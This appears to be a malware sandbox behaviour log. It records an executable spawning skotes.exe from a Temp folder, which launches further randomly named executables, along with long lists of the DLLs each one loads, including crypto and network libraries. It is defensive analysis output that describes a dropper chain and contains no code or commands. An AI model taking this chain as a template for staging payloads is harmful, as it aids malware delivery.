Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7032 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6316 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsAKKEGHJDHD.exe "C:\Users\user\DocumentsAKKEGHJDHD.exe"
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe "C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe "C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe "C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: winhttp.dll
